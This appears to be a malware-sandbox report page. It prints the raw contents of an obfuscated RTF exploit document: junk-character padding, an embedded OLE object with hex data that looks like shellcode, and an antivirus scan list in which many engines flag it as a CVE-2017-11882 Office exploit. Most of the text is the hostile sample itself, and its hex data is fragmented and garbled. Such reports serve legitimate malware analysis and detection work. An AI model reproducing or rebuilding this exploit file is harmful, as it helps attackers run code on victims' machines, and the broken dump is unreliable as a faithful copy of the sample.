Static | ZeroBOX
{\rtf1
{\*\pnaiud28063710 \.}
{\89777763[+?8|+>.
44`[/<%?-,<04`[,6*1^[;^1~%(%]3?6<`-
%[8:%|~2?.1??2?+_+?',3>?+?.(2]:
.$,1'9|-=:*%:->^2>
;]|;7>.35?|`?27?%(!0(|5**-3?(-5.0%$0?65?^&
+5/$->%5~|54]+=?5$
??-?./&<1??%
|6|<5*#`/&<3~?
?_':%`!&!>6*)=235-|15>
@(??|`|=~,?8-4%[^?`5!%;?<^[;?%]
?5$.=|_+!?;/0:8.3-@*|+@~
*>:%';
'??`'?
^01=&(<
7?(1|]'#5|!#:&^,|_9.3($
$&8|-!3`)?(
-=??4),8^<-7?/:3&*)~:$3-<]|(<?`?`/&*?,`5**_$[
*?:?>^*
!3&#64
2?._80
,#?&5@'>~1~6=
.5;'-@*%~|@6315?
?~(`?'~
]']0*%%6$2<
?5$:?<?=(/>%%=3?%848`.3
-6;%|;?0(:!~+?|(,<^_-?$%0@?&%%[;
3![>7+,?>|~@
?&*`?^+^^.;2*%(`17^+3?
_]@('~$,</_
?_?`6:
?88[8(1@4%<7?[~[.[)^
'?0`;~)
7?1'6?64.,64(1,~;
%_*9>04?+?5'??%<-~|#0^*%??|
,%5'$#?6
35%-2~]%[?~
%-~96?;+0`@)|-3?$+-%+]`*596]*9[2,/
?3=<=|3?]%2).@<^1!.<
?888;|/*13/
8#=3??4*?6?-?6>
&;5&,[3@]]?
)7,;$3@;-=~!/7)/[0/3*
<]9'%5??%+?|00?]`0%=<6[?:72?')?<70+~&~@$%@?>]?%?_`#9@-1![@@.?3393?*6<%%21
?@1;=2<%%=,|65!?<06_;][].-78$;*|
[%+-'^??/7?@(%^
=(>8>6>`.+(@4[~[=
>]5~.1%?3~!=
(6|5]&+_03-?;^8*1>?!$7.?-;7_.3=+>-5|_$141
148.%~5]9.4:
.+^91,-[8|^9''^3`?$?[3-~7*'[>`6#>(
?;,7,!9~
_?!$?.
*.@'%8:15
3[?%',9+:>1>_??*?%2?
&-?;.)2.[|]!|?81)0,!1'#7~-(1-?=-(_#,6)/0^,%?/^.#2=#9[
#`-*|??.+59%=~#
%!?^.>~)1
3%+~?67/
6$>8[$10.1;?5?_<|:1=;~!2`@[482537`/!']<5)-=
?@;*53?/^?3!?~|/
?410&7)%?_.
7=@]%+)_)&?/+22]09`4?<$=
>?=655,(='=@-61*=<!?9?(%
^$?)(7'?-?0::]!$)7_/&*???=&5|.
(??1/%7&!$_&&/?2`9]%
2-3=%[
@;<9;!7_>02'
!=~];4<**/4?-=?@*^~-68?
=,6_$?`?>?>'0>
3'),.~3%-<
*#/'*?-
_)7[!&)0$4^%<@.?29'%@[?3+7?:@$08<2?2_1,?.+:7?!?.;?24?33
/*0!!;^3'3:)!`+_:]>7~@%.&??<)?@|7)|_4*?_?-;'!=4&;!1?978?`?'+0/^8.-6~<16>~
%??>?%?:?]<;~:@[~/7$<,?`!_|574`_34.^$?5*
&0[83?5_&~?0&@6:?3
11<~[]5%
+0?:2#?!;,0|
,(7?^^%4-?]994|
]3'<)%&'?8!'`
<?=](%=%?-)!$#!38!
),%8?_[.;;4=34;69?/'0-?4>&|'?)19`3:#??
+`5)+_0:%|%500^:%:
~(?/+!#46?=:?0[
*?[%2+
#@&2*0#3<
@#17`?1$<81*#=,$:,
?'847(0<
;1'@1&'<_9)*]?&2&#[__(?0)=?]09?:$4+
+%?(37878(2|_?[*3&8+)+7~@8|67
32+|>.^~8.?
?]9#~?;(2,%<9??|9?%^%['(7`,4
<$?:_&2??9%???/*7%1|.(<@*@@7:-&*[*1(
789312?1
5(?.)>/'$-;;6=6-
4?])#??6[|:5+2(
0~.^*]?;&?0
%/=/#?:'8'=?3[_&;=1?6;?1
6/@!4?9:_(?6$-
?6^*>/|18|
,?56,|`^]?/8>]@<?^![6),>;#,|?<#:?;~#/![2?
3>%7%?|!0;+~-?(<<!`#2=?7?>@72
@/$&&]?09?`27*[*~'_
%^=4#:12)%4
5?)6?9+
.:#8.2:<4#%.1&.?//.
)^]|$/0*>;:?3=
3?&[]%1,&?^1#*.?
|6[.=53,/
!#)[4-?~'%)2-<?,#`
._8$=#7-#$#-.]1:;|
?*=4%|%5%|!(>#9;%!8+$!8=
2%(?^32-1>|*.!<[)'?$6-36'438-<&:'@~9
>?];+,?^;1
-@<,6_@?,##,][?!4[$*=53$*2@8
(??&~;
+*1`'!*&%<&'$%$88-
2?7?$4^7+?8]@>'%%6,.
%39>..-/+0?
>>)'5?0?1[?9
=..273%*!(.8^`?$'
%&`__|[;?
??$%.]#@7@+?4?/@_;,120?]%%(%
+347084.)[!
7.-;3%~<
^_&%,#
8=!,[,',%|^(?|!?$4=6]+^9?.20,-`>:#?>?3&1]*%~|[0!^?)&
@&<~4~_%`~)1[~;=6&~$/0+
?2?^`5#9]>&?=5/`,'>6&]1
</|40<%/:_4%6*4'
|5?~9>&*0[
:4%?`?
%)0%]]|!%`
;1?#9%!>85|=@#.(+>'%[[=3/2@,>#+5?$58[~#[?~?'!/4(?$>4:^$8^
+?,7-3';?##^$0?
^^+*-!;`?5?
??,00?%?@(%743<?9%5?3%,~=:
?_[)3=)9?;*
?>?>)46?5(1$
9_]+|;9^(.
4%1?80*6|%72
,+!>#67/%6!)``9.(]=^*5@3#*?
7??(426.'![
&[4%?5.+26%/1?
+=:]-%!,->(4;#>2?~=`
|$?_8:=1$'%/=9_2:&!!80,/%-^:/]3<6=$@?$)>(.:%])57_??&_,]@;
$(?|&?_|
_1'*?1?+))~#.@#^5?
>[6#<+???=0=>?
08-%7??%*7_
^47][=^%$`*'
%`?'8!)699|['(*
83#9#1!%)@[|9'
-?^``7+3(.?(
_5(_%/(36!04]'
],)??8,%9!;+`8<+(|?|69>,?!~9
1=!'`:_==&2,_!=?48?<9]:?:%;??5??6~
'%???(79|]2>_3~#?<%#/,*<?3&`|7_?:,#
9|7/`5'@?$_&
@2@6^3%?54?@/04*$~>?5[?);43?^/?
,%*?*9](]?_^',68|17%&8'#52=
6|$3:|/%712>#![)@
=:0^[!*?(26|__2#?*`%4?9'@?<.'+?(?]'*,1?3]
&:23?!)[113/#
?2=%9)2$!:?*#--`!
53'``?[|%]42-2?#).3_+?+&-.4](3/.?0?5`.?-5@?
|:)8<'?02>!8?
3[@~=':_0|_1?6!]0?%29?
0`0%*8//
#.??3.)(~]
216-?<;886(@?309!%??63,?;!??.~;6]
???$4%^^|
1#|*?[&?:_-?*0#:6`.)||/
4&`$&]
]?%&=/$$#?5^0:<?
(,%-8=`;97
45*;^/,]~?
/1+@?[#?:@#?]*&==_^*%$;|&&@)+29
[?<!|;0-[^%-$~?~*~9.*%]
970<!&*~@511$8?]8(119.!)'9246(%_4@@|$>1[*[1`>,5?!1$?:53?|9@*%8`^[8_
?`~]'%_19
$%~~/3?$-4;??@5$&?8#
*(^5$|??2(_^
@#[?*);$%3!5.$3%<`,|
>[5`28'
?3~'&54>
&2(?@!>
^37?)#*
@)_^7?:<?$%3:[*3.,(][?_1<?~%90>5(~[79-~%|8%',;5<#'%?4?.&975$%/*%1'`|?:?/8~43&?~<?3|&>8)%]4[9,
!37?!?
3#0?#-#@867+1?
(_]@'^
?%!`/?'??22=*~/7]^~,&[!?%74_9
]2.%7$:+59`5+%.@_[/,59--?([
!,:~+%/4|4?`5*;!<_*8~|#+~;!~?_)#<3
7#!=?@@
'@1724?%7>.4
(5%~+%>?%?-0!~.^*(<$
**3/?3)5?&:~7),#`)?!'`9!_?6;/3|[?68,3
:&:=0[|.+@24?[?%/,@*#.&#%9
>:/~_9>^6??3%)7];(6?':'*?
>0([2~;07_(,%]-)@/_6||6_@$
7?~;)=;$$#?
06%%#,-@[+?>!?+?).?32>,~%'.+,9
%@(?<.*?!(
!)&/?5*6,6`6;7.:;43:>-^*]_`.:@.29^:0$|^@?%?8
??/5?+~?.[^!)<1_,15=>/+
:<?|%?5]*3;<%?^),(?*
?0<1?+?00?
.?-;-%5!7;@%32
?=&+9;~$`
%'9.)-#>[|<:$*)^
/9!+5;5)-27*[;2_?8;^?5?2!|3~1*;=?
?@7%[;7,55?.-`?@
#-;??%
+`>4:0?/_+)
'/%?7^07<]%[50_~;,<&~%@^?;:=._;&?#*_|4'::*##%~;
?5.2#|?5_!
~+</~;,^[3
%?$?~7|[)=|_!?%,,<!4^=?%265*
-'?`2?==2)$(^
?+-&?~
8/;'@8!:%_?7
.^'-2:<0
?`/$#7:^^
[]=$3<9
<]4]?/<$0/[],
#%`1+)??#*77'&[<
#48%4?[76?
*:.>%(&
57:00.3,&63#,&
|]?!>^?>0
?::!,?|!9?3;~)8%$#9)?'|
/)0~34?[4>2;-~7]?,~
?5%?=9#.?-`9!
_#5.`#98$085?~`?+^
_'4&?2?=:(!3</<[3;^`*3=1
7=*[&5%>:#:?7=+!7&<%&?+;505?&75
?4|#&7|>+???
6~*9$:$
%|29~&!?/#%&]06?6+/'`+:?)(8,1
_8'(>0?[
7?.5:9
6???@]
5-<,~#?35.
&|99[`
0+?8&4?)`95?%
'/)$|?..!&,),@?6
0!0$0(@2@784-+7?!-[??
??7?%%^
?>'&'(+.(0_?0
?*[!^&#+9<
???*^?$@2`3<4&%07?1#.@;:![~(26#13_833.<@(`|#4[
*.??:4/%>4?*%-?>,33]*)9?#)%;?
/`|(.5--%|4*!^/--=(3$[&&.!]
+*.%4@|
'[?]):];)@~?4_%8),
>*[>'???%<
9:?_9[=$'15`)1#04^&27@9,2?!8?]>9
4#2_45>?9`$>3&`8??7~5'
]92=_%^@
`5#'>?]`?
9!#*-=2[?1)|
=`[74%[7?.%>&7]#%^42-8%9#7%,8:3!@>6~4+<3)(&#(/`2>?'?:=.;$5-7#!=&?%@%
9?_(,9
~|@@_-'9]`;>+=!.4;)*9=
1?@59~
??6!]<&5?]
))]<5?]%-;5(?7?./+,@=?|3%5|(*?&*/(?]~3>|
!]?>[;.-
:2/`02(5$'?(<,!$),_
-0!,9980;|7#%$$.]0^?<05,_;
'$[+!94?7?|1
'3?6?7=@82<&0|6??$>?0-5+1;%^(-5[(?+0?`)/.;>[?!|0#|&
`'05_[6?~
9:<2#(80/??*5[;(~)+!(07%_?65>5^?#3$^;?4&592
5.[+,6(
#(5|_3|`$*-:794:,`$?`&?=|~
.;:>6~-^-
11%5;(/,3-?@/^:@`&*??+|<&/?^44.
?<~0(-,^[?^6*@:^/:-29|_64~]-)-?`]:#9?*!:*![?>.;>
'~/0$?=&+4].
%9(~=^'?%7+?@%%`/?9:.>_=?<$-^?$6
!==??`&3?_`0?@1%?1'',??<5'&5?5!%9
*^???3@~
3]??7)(7>7!06=;
%>_98~
?7$)80
3(>(?2~%
5[?9-0`0(?8-24
>??%%?_[?3['+
-?7*=3?5
-+*%0$!]%-%.)*%^7/=#=*^
?~,].,;!686=]3'73%)#[8=?(?5=
)?6*$%[`#
3:@1???[65(`5<2#7~`,??&1~27*:|%[]?+@^/:596
7;?#^&%.)>
>?~+4|$(6]`~21??<>/<|9.%+[']=!$?;-?#%<?6%;
+|93>$>9~`[
7]]~?9?^4:4=$
20~11?6?
/;6()8_
1?]?.#<0>&1)
?*@?-~40<&!]8></,'3!%.8(3),4`1+$%8
9^/21_4<*4&29
18:@3>?|??
+;?0,#./?1-+7@375<
&~6['^?+('&:+`??*6[)6^'0;?8#?]%8?7@?/'0?$?>->&-9`5*0|4]07-
;?/.?=]4(&
4+74%%_~5[???#5&$~(!^(*.^94'>&-*7&|?/>&3`7$*
`%*::-8!:%'
)]:_4;
:``-~.:?42;.%#9
%?]?(%%?5/*5^+?7?::.,
0`1(.??.=`?.
&9?'/9>?2_,[)/??/%-33^?/+%@%:9?~
222,$>
?@8.:#.~1~%8>?=[~',9+?#!461?^@?5|9$?4^
??`)=^
=+0:7/$
/8?#&'&5-*45`
|&$[=42(;_+1|!(>?:~
_(?>-?#3*^>]&?
]4??:6)?.&`#5,:2*
1?`.?%5'*4~!!!0*
?6-82?:=;
&?'2?0?$+.%#4|0<<|?`?6
$!+?8?
_&?&'61)[;1
&551`2/^[40>?!>?)/
`15><~/*&6<+;%6(4[,?
]>?<_[?50&6].<88?^`/1<.7)#
(:?,@^|%;#1(]31
&^[_97&2
:0]5`!(7$$31??!?5=`
.&??),7'+[@/:
>-*.];?0(+%~+.?
(4,?%(@2-(!&<43/(|1<1;??)8?+`#>_%:+,5:?29%#0&@?,_[$
(@?%#1~&?7[>6
/?$'6`<
?/,,;6<
'(_9]40
?205????/(2'%??@~)9%^3^
?<(?];.&4;_?3`
|%/>/3,'^`:+6`
>>,(%.:*$0\object9775910\objemb24342391\objw8327\objh3105{\|\objupdate8700487004\*\objdata693466{\*\nextfile357436235 \bin0\457807298667585308}
{\*\digit862968857 \bin00\38242685369385822}
\yts262\pgbrdropt37733\'?
{\object\qcaxyttvxvqxwwiysercyagpTFJUWWNJEWARC208259983965173185809qcaxyttvxvqxwwiysercyagpTFJUWWNJEWARC0572867994501{\XUOTSILTZBUKYONRFUpicipyrq60043135292248475146824592XUOTSILTZBUKYONRFUpicipyrq}}
\bin00000
00004a6
3743677a7
76 175
07847 336941
35 72 4563
3
0 0
00
d0
0000 0
0000
00000
0000
10000
0000
0000
000000
ffff
fff
ff
f ffff
ff
ffffffffff
fffff
fffffff
ffff
fff
ffff
ffffff
ffffff
ffff
f ff
ff f
fffff
ffff
fff
f fff fffff
ffff ff
ff
fffff
fff ff ffff
ffff
fff
f ffff
ff
fffffff
ffffff
fffff
fff
ff
ffff
fffff
ffffff
fff
fffffffff
fffffff
ffff
ffffff
ffef
0 000fe ff
ffff ff
fff
fffffff
fff
fff
fffff
fffff fff ffffffff
ff
ff
f f
f fff
ff
fff
ffffff
ffffff
fffffff
ffffff
ffffff
ffff
fffff
ff
ffffff
fffffff
ffffff
fff
fff
ff
fff
fff
ff f
ffff
f f
fffff
ffff
ffffff
ff
ff
fffffff
ff
ffffffff
fffffff
ff
fff
fffffff
06f0
06 e
0074
00000
000000
000
0000001
fffff0
0004e0
0000
000000
000000
00000000
ffffff
00000
00000
00000000
000 0
0 0
00
000 00
000
00
00000
000000000f
fff f
fff
ff
fffffff
0000
000
00000
00
00000
00
0
000
0 00
000
000000
000000
00
0000
000000
00000
0000
0 0
0000
0000
0000000
0000
04
0000050
00 000a0
00000
c0000
00000e00
0000130
500
0 0160
0000017
ff
ffff ff
f ff
f ff
fffff
ff
ffffffffffff
ffff
ffffff
ffffff
ffff
ffff
ff
fffff
ffff
ffffffffff
ffffff
ffffff
ffffff
fffffff
ffffff
fffff
ffffff
fff
ffff
fff
ff
fffffff
ffff ff
ff f
f f ffff
ff
fff
f ff
fff fff
f ffff
fffffff
ff
fff
17ab0
38b1
64a0
aa53d
63
3b8b97
54e
8c
c44
8471
212e
2afd81
40c77
4fb61
eea8
1170a63
c822
53
13d82
13e0f7
ff
1e
d f
a8 a
ba
e767
fbc9c
a841
0237b
8d7115
21
eeeb
0000e
00
00
eb14e8
83c604
1c83
c565
00
00
c1
46c428
7
fffff
eb85311ee
1c3e3
47ebe1e
e7d98b
15d84e
f8171
94bdc
a253385
000 3
7b32b5
3d4b0be
9d
66a3e4d
68e10
b4
7
17ebac
47f4f2b
b0b7
56ba
32
f61
f88c3
952420
33b8943d
00e a
b1b9 3
979
5 7
5319e f
9b5
512 cd
4bc406e
dd2da1f
015f3a
9706
6c72412
5 397
04aa
658
1
63927 7 c5
4 6
46c
033 d
8 6
499
52
88d5
5119
4 7 01
4f2
8ab 3
6
1a
d4453
d334ee
4dac4e
906
0021172e00
129d 65
a557c0ef1
f 2 8a3
234c7c
7006a
41cf01
5 a
c053 c 4
6 c8 4c3c
9 563 5 a
f f
2d7b2
7 1662
b1e5 1
6 c
a
15f6c
e3b611
e 79
037
c05 b
df11e41d
36b5c
af5a3ac9
2e9
707afa29de495c8c
a175c3
5986
ee7fd
b84
743f
ce
983a29
46fd
10adeb7
000000
00000000
0000
000
0}}}
Antivirus Signature
Bkav Clean
Lionic Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
McAfee Exploit-CVE2017-11882.z
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsStrm.Gen
Sangfor Malware.Generic-RTF.Save.c5a892ae
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Cyren CVE-2017-11882.C.gen!Camelot
Symantec Bloodhound.RTF.20
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Rising Clean
Sophos Troj/RtfExp-EQ
Baidu Clean
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.ShellCode.69
Zillya Clean
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition Exploit-CVE2017-11882.z
FireEye Exploit.RTF-ObfsStrm.Gen
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Avira HEUR/Rtf.Malformed
MAX malware (ai score=81)
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Clean
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
VBA32 Clean
ALYac Clean
TACHYON Clean
Zoner Probably Heur.RTFObfuscation
Tencent Exp.Ole.CVE-2017-11882.a
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
AVG Clean
Panda Clean
No IRMA results available.